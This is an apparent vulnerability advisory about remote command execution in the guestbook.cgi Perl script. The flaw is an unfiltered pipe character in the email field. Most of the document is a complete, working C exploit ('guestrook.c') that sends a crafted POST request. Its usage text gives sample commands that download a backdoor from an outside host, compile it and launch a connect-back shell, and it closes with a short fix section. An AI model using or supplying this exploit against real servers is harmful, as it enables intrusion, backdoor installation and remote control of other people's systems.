COMMAND

    guestserver.cgi

SYSTEMS AFFECTED

    Lars Ellingsen's guestserver.cgi

PROBLEM

    'fish stiqz' found following.   Guestserver is a guestbook  system
    that enables  you to  have your  own guestbook  on your  homepage,
    without having all  the scripts and  data located on  a completely
    different server.

    guestbook.cgi is  vulnerable to  a remote  command execution  bug.
    This bug is caused by  an incomplete filter of the  email variable
    from the http POST. The email variable is first filtered for  HTML
    tags then commas, semi-colons, and colons as seen below:

        line 282:
	        $FORM{'email'} =~ s/\<[^\>]*\>//ig;
	        $FORM{'email'} =~ s/\<//g;
	        $FORM{'email'} =~ s/\>//g;
	        $FORM{'email'} =~ s/\"/_/g;
        
	        if ($FORM{'email'} !~ /^[^\@]*[\@][^\@]*?\.[^\@]*$/g) {
		        $FORM{'email'} = undef;
	        }
        
        line 360:
	        &mail_guest if ($mailto_guest && $mailprogram && ($FORM{'email'} !~ /[\,\:\;]/));
        
            Also, the email  must be in  "normal" form as  required below (and
            above):
        
        line 957:
	        if ($FORM{'email'} =~ /.*?\@.*?\..*?/) {
	            open (MAIL, "|$mailprogram $FORM{'email'}");

    First,  the  vulnerable   open  call  is   not  made  unless   the
    guestserver.cgi is configured to mail the guest when he/she  posts
    to the guestbook.

    The server must have these lines in the guestbook.config file:

        <-guestbook.mailto_guest->               # Yes = 1, No = 0
        1

    Next, the email variable  is unset if there  is a colon in  it, so
    we cannot simply send ourselves an xterm since the display  string
    needs to contain a colon. (ie: "xterm -ut -display 127.0.0.1:0.0")

    We must also keep the email  variable in "normal" email form.   So
    how do we exploit this?

    The | (pipe) character  is not filtered!   So we can construct  an
    email variable  with commands  delimited by  |'s and  the cgi will
    happily execute these commands if  it looks like a "normal"  email
    address.  An example email  variable that would execute "bleh"  on
    remote server (check error_log):  "| bleh | bob@hax0r.com".   This
    would result in the execution of

        /bin/sh -c <mail program> | bleh | bob@hax0r.com

    on the remote server.  If you look in apache's error_log you  will
    see the following entry:

        sh: bleh: command not found
        sh: bob@hax0r.com: command not found

    An attacker can  use this to  his/her advantage to  possibly get a
    backdoor and run it on  the server, thus gaining remote  access to
    the server running the cgi script.

    The Code:

    /*
     * guestrook.c - fish stiqz <fish@analog.org>  11/18/2001.
     *
     * - rook:v: deprive of by deceit; "He swindled me out of my inheritance"
     *
     * Remote exploit for guestbook.cgi version 4.12 (below?).
     * guestbook.cgi can be found at http://www.guestserver.com/
     *
     * exploits a traditional open call in a perl cgi script,
     *   open (MAIL, "|$mailprogram $FORM{'email'}");
     * the address is filtered for semi-colons, colons, commas, and less-than
     * and greater than signs, and must be in *@*.* form.
     *
     * The cgi must be configured to send mail to the guest.
     * the line in guestbook.config must be:
     *   <-guestbook.mailto_guest->               # Yes = 1, No = 0
     *   1
     * This config looks to be pretty common.
     *
     * Because the host environment must already have a perl interpreter
     * installed, using a perl backdoor would probably be the most portable
     * way to exploit this.  The example in the usage message presents another
     * way to accomplish it, with the well known socdmini.c.  The sleep
     * call is necessary to ensure that the program has finished
     * downloading before the vulnerable system attempts to compile it.
     * It may also be necessary to execute each command individually.
     * I'm sure there are a million other ways to exploit this, since you
     * can specifiy a string of commands to execute.  Use your imaginiation.
     *
     * Thats pretty much it.  Have fun.
     *
     * shoutouts: nerile <-- 1337
     *            trey, kiam, sudo, kilmor, vertigo7, quanta,
     *            #code <-- rules (not ef/dal),
     *            analog.org, async.org
     *
     * #TelcoNinjas == #smurfkiddies.
     */
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <time.h>
    #include <ctype.h>
    
    
    #define HTTP_PORT 80
    
    extern int errno;
    
    /*
     * function prototypes.
     */
    int get_ip(struct in_addr *, char *);
    int tcp_connect(char *, unsigned int);
    void *Malloc(size_t);
    void *Realloc(void *, size_t);
    char *Strdup(char *);
    void send_packet(int, char *, char *);
    char *convert_command(char *);
    void clear_screen(FILE *);
    void usage(char *);
    char *random_string(void);
    
    
    /*
     * Error cheq'n wrapper for malloc.
     */
    void *Malloc(size_t n)
    {
        void *tmp;
    
        if((tmp = malloc(n)) == NULL)
        {
            fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
            exit(EXIT_FAILURE);
        }
    
        return tmp;
    }
    
    
    /*
     * Error cheq'n realloc.
     */
    void *Realloc(void *ptr, size_t n)
    {
        void *tmp;
    
        if((tmp = realloc(ptr, n)) == NULL)
        {
            fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
            exit(EXIT_FAILURE);
        }
    
        return tmp;
    }
    
    
    /*
     * Error cheq'n strdup.
     */
    char *Strdup(char *str)
    {
        char *s;
    
        if((s = strdup(str)) == NULL)
        {
            fprintf(stderr, "strdup failed! exiting...\n");
            exit(EXIT_FAILURE);
        }
    
        return s;
    }
    
    
    
    
    /*
     * translates a host from its string representation (either in numbers
     * and dots notation or hostname format) into its binary ip address
     * and stores it in the in_addr struct passed in.
     *
     * return values: 0 on success, != 0 on failure.
     */
    int get_ip(struct in_addr *iaddr, char *host)
    {
        struct hostent *hp;
    
    #ifdef DEBUG
        printf("entered get_ip with %s\n", host);
    #endif
    
        /* first check to see if its in num-dot format */
        if(inet_aton(host, iaddr) != 0)
	    return 0;
    
    #ifdef DEBUG
        printf("inet_aton failed\n");
        printf("trying gethostbyname...\n");
    #endif
    
        /* next, do a gethostbyname */
        if((hp = gethostbyname(host)) != NULL)
        {
	    if(hp->h_addr_list != NULL)
	    {
	        memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
	        return 0;
	    }
	    return -1;
        }
    
        return -1;
    }
    
    
    
    /*
     * initiates a tcp connection to the specified host (either in
     * ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
     * to the host's tcp port.
     *
     * return values:  != -1 on success, -1 on failure.
     */
    int tcp_connect(char *host, unsigned int port)
    {
        int sock;
        struct sockaddr_in saddress;
        struct in_addr *iaddr;
    
        iaddr = Malloc(sizeof(struct in_addr));
    
        /* write the hostname information into the in_addr structure */
        if(get_ip(iaddr, host) != 0)
	    return -1;
    
    #ifdef DEBUG
        printf("attempting connect to %s\n", inet_ntoa(*iaddr));
    #endif
    
        saddress.sin_addr.s_addr = iaddr->s_addr;
        saddress.sin_family      = AF_INET;
        saddress.sin_port        = htons(port);
    
        /* create the socket */
        if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	    return -1;
    
        /* make the connection */
        if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
        {
	    close(sock);
	    return -1;
        }
    
        /* everything succeeded, return the connected socket */
        return sock;
    }
    
    
    /*
     * generates a string of 6 random characters.
     *  - guestbook.cgi wont accept the same message twice (or so it seems),
     * so we need to randomize it a bit.
     */
    char *random_string(void)
    {
        int i;
        char *s = Malloc(7);
    
        srand(time(NULL));
        for(i = 0; i < 6; i++)
	    s[i] = (rand() % (122 - 97)) + 97;
    
        s[i] = 0x0;
        return s;
    }
    
    
    /*
     * send the request to the server.
     * the remote_command needs to be coverted before sent here.
     * semi-colon's are filtered out and will not work!
     */
    void send_packet(int sock, char *conv_remote_command, char *target)
    {
        char *packet_buf;
        char *payload_buf;
        char *r_string;
        char header_fmt[] =
	    "POST /cgi-bin/guestbook.cgi HTTP/1.0\n"
	    "Connection: close\n"
	    "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
	    "Host: %s\n"
	    "Content-type: application/x-www-form-urlencoded\n"
	    "Content-length: %d\n\n%s";
    
        char payload_fmt[] =
	    "name=%s&SIGN=Sign+it%%21&email=%%7C%s%%7Cbleh%%40bleh.com"
	    "&location=Germany&message=telconinjas+suck";
    
        r_string = random_string();
    
        /* create space for the payload and commands */
        payload_buf = Malloc((sizeof(payload_fmt) + 1 +
			      strlen(conv_remote_command)) *
			     sizeof(char));
        sprintf(payload_buf, payload_fmt, r_string, conv_remote_command);
        free(r_string);
    
        /* create space for the headers, payload, and commands */
        packet_buf = Malloc((sizeof(header_fmt) + 1 + strlen(payload_buf) +
		     strlen(conv_remote_command)) * sizeof(char));
        sprintf(packet_buf, header_fmt,
	        target, strlen(payload_buf), payload_buf);
    
    #ifdef DEBUG
        printf("\nSending data:\n%s\n", packet_buf);
    #endif
    
        if(write(sock, packet_buf, strlen(packet_buf)) == -1)
        {
	    perror("write");
	    exit(EXIT_FAILURE);
        }
    
        close(sock);
        return;
    }
    
    
    /*
     * converts a command from "command1 arg1 arg2 | command2 arg1 arg2"
     * to "command1+arg1+arg2+%7C+command2+arg1+arg2"
     */
    char *convert_command(char *input)
    {
        int i;
        char *postfix;
        char *command = Strdup(input);
        char meta;
    
        for(i = 0; command[i] != 0x0; i++)
        {
	    if(!isalnum(command[i]) && command[i] != '.' && command[i] != '-')
	    {
	        if(command[i] == ' ')
		    command[i] = '+';
    
	        else
	        {
		    meta = command[i];
    
		    postfix = Strdup(&(command[i]) + 1);
		    command = Realloc(command, (strlen(command) + 3) *
				      sizeof(char));
    
		    command[i] = 0x0;
		    sprintf(&command[i], "%%%.2X", meta);
		    strcat(command, postfix);
    
		    free(postfix);
	        }
	    }
        }
    
    
        return command;
    }
    
    
    /*
     * clears the screen. lame.
     */
    void clear_screen(FILE *fp)
    {
        fprintf(fp, "%c[H%c[2J", 0x1b, 0x1b);
        return;
    }
    
    /*
     * prints usage and then exits.
     */
    void usage(char *p)
    {
        clear_screen(stderr);
        fprintf(stderr,
	        "\nguestbook.cgi exploit by fish stiqz <fish@analog.org>\n"
	        "discovered and exploited on 01/18/2001\n\n"
	        "usage: %s <target> \"command1 args | command2 args\"\n\n"
	        "* commands MUST be separated by |'s\n"
	        "* commands CANNOT contain any of these chars: ;:,<>\n"
	        "* Example: %s target.com \"wget host.com/socdmini.c -P /tmp|\\\n"
	        "           |sleep 5|gcc -o /tmp/hax /tmp/socdmini.c|/tmp/hax\"\n"
	        "* you may want to separate the commands into one per request..\n"
	        "* Example: %s target.com \"wget host.com/connect-back.pl"
	        " -P /tmp\"\n"
	        "           %s target.com \"perl /tmp/connect-back.pl\"\n"
	        "* you get the idea, use your imagination.\n\n",
	        p, p, p, p);
        exit(EXIT_FAILURE);
    }
    
    
    int main(int argc, char **argv)
    {
        char *target;
        char *commands;
        char *conv_commands;
        int sock;
    
        if(argc != 3)
	    usage(argv[0]);
    
        target   = Strdup(argv[1]);
        commands = Strdup(argv[2]);
    
        conv_commands = convert_command(commands);
        free(commands);
    
    #ifdef DEBUG
        printf("\nconv_commands:\n%s\n", conv_commands);
    #endif
    
        printf("Connecting to %s...\n", target);
        if((sock = tcp_connect(target, HTTP_PORT)) == -1)
        {
	    perror("tcp_connect");
	    return EXIT_FAILURE;
        }
        printf("Connected, sending payload...\n");
        send_packet(sock, conv_commands, target);
        printf("Payload sent.  Go store lots of warez!#*!%%@!#\n"
	       "#TelcoNinjas == #smurfkiddies\n");
    
        free(conv_commands);
        free(target);
    
        return EXIT_SUCCESS;
    }

SOLUTION

    Disallow  emailing  the  guest  (Quick  and  Dirty) by setting the
    <-guestbook.mailto_guest-> directive to 0 in guestbook.config.

    Better solution is completely  filter all control characters  from
    the email variable before the open call.